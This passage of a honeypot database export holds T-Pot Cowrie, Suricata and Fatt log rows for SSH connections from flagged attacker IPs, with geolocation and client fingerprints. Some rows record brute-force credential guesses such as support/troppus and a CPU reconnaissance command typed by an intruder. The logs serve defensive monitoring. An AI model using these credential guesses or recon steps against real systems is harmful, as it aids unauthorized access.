"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 46716, "dest_port": 22, "timestamp": "2021-09-20T11:12:58.703938", "@timestamp": "2021-09-20T11:12:58.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26648	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:12:59.164236+03	2021-09-20 14:15:13.548644+03	{"_id": "GwboAnwBvYTbRNuEvSNX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ftpuser/ftpuser1234] failed", "session": "a9f8234b6960", "@version": "1", "password": "ftpuser1234", "username": "ftpuser", "timestamp": "2021-09-20T11:12:59.164236Z", "@timestamp": "2021-09-20T11:12:59.164Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26649	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:58.839605+03	2021-09-20 14:15:13.549645+03	{"_id": "HgboAnwBvYTbRNuEvSNX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "593324cf35d9", "@version": "1", "duration": 2.350476026535034, "timestamp": "2021-09-20T11:12:58.839605Z", "@timestamp": "2021-09-20T11:12:58.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26650	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:59.137329+03	2021-09-20 14:15:13.550646+03	{"_id": "IgboAnwBvYTbRNuEvSNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:12:59.137329Z", "@timestamp": "2021-09-20T11:12:59.137Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26651	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:59.137882+03	2021-09-20 14:15:13.552647+03	{"_id": "IwboAnwBvYTbRNuEvSNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:12:59.137882Z", "@timestamp": "2021-09-20T11:12:59.137Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26652	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:59.486909+03	2021-09-20 14:15:13.553645+03	{"_id": "JAboAnwBvYTbRNuEvSNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "128.199.123.0", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.3496975898742676, "duplicate": true, "timestamp": "2021-09-20T11:12:59.486909Z", "@timestamp": "2021-09-20T11:12:59.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26653	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:12:58.70456+03	2021-09-20 14:15:13.555646+03	{"_id": "JgboAnwBvYTbRNuEvSNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "40546dfad073", "@version": "1", "timestamp": "2021-09-20T11:12:58.704560Z", "@timestamp": "2021-09-20T11:12:58.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26654	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:59.392551+03	2021-09-20 14:15:13.556646+03	{"_id": "JwboAnwBvYTbRNuEvSNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "81bcbe08f1e5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:59.392551Z", "@timestamp": "2021-09-20T11:12:59.392Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26655	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:12:59.472805+03	2021-09-20 14:15:13.557646+03	{"_id": "KAboAnwBvYTbRNuEvSNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [support/troppus] failed", "session": "40546dfad073", "@version": "1", "password": "troppus", "username": "support", "timestamp": "2021-09-20T11:12:59.472805Z", "@timestamp": "2021-09-20T11:12:59.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26656	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:12:59.670646+03	2021-09-20 14:15:13.558646+03	{"_id": "KQboAnwBvYTbRNuEvyNs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1887921271193080, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48148, "dest_port": 22, "timestamp": "2021-09-20T11:12:59.670646Z", "@timestamp": "2021-09-20T11:12:59.670Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26694	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:12:35.803683+03	2021-09-20 14:15:13.607646+03	{"_id": "KwboAnwBvYTbRNuEYyJr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh2_1.9.0'", "session": "cc3285b20190", "version": "b'SSH-2.0-libssh2_1.9.0'", "@version": "1", "timestamp": "2021-09-20T11:12:35.803683Z", "@timestamp": "2021-09-20T11:12:35.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26657	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:59.393693+03	2021-09-20 14:15:13.559645+03	{"_id": "KwboAnwBvYTbRNuEwCOV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48148, "timestamp": "2021-09-20T11:12:59.393693", "@timestamp": "2021-09-20T11:12:59.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26658	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:59.806558+03	2021-09-20 14:15:13.561644+03	{"_id": "LgboAnwBvYTbRNuEwSNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:12:59.806558Z", "@timestamp": "2021-09-20T11:12:59.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26659	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:12:59.808198+03	2021-09-20 14:15:13.562645+03	{"_id": "LwboAnwBvYTbRNuEwSNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "81bcbe08f1e5", "@version": "1", "timestamp": "2021-09-20T11:12:59.808198Z", "@timestamp": "2021-09-20T11:12:59.808Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26660	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:12:59.805194+03	2021-09-20 14:15:13.563646+03	{"_id": "LQboAnwBvYTbRNuEwSNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:12:59.805194Z", "@timestamp": "2021-09-20T11:12:59.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26661	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:12:56.669233+03	2021-09-20 14:15:13.564646+03	{"_id": "8AboAnwBvYTbRNuEsyKy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 2138268472226158, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41508, "dest_port": 22, "timestamp": "2021-09-20T11:12:56.669233Z", "@timestamp": "2021-09-20T11:12:56.669Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26662	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:56.510839+03	2021-09-20 14:15:13.565646+03	{"_id": "9QboAnwBvYTbRNuEtCLc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43196, "timestamp": "2021-09-20T11:12:56.510839", "@timestamp": "2021-09-20T11:12:56.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26663	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:12:56.846624+03	2021-09-20 14:15:13.567647+03	{"_id": "9gboAnwBvYTbRNuEtCLc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 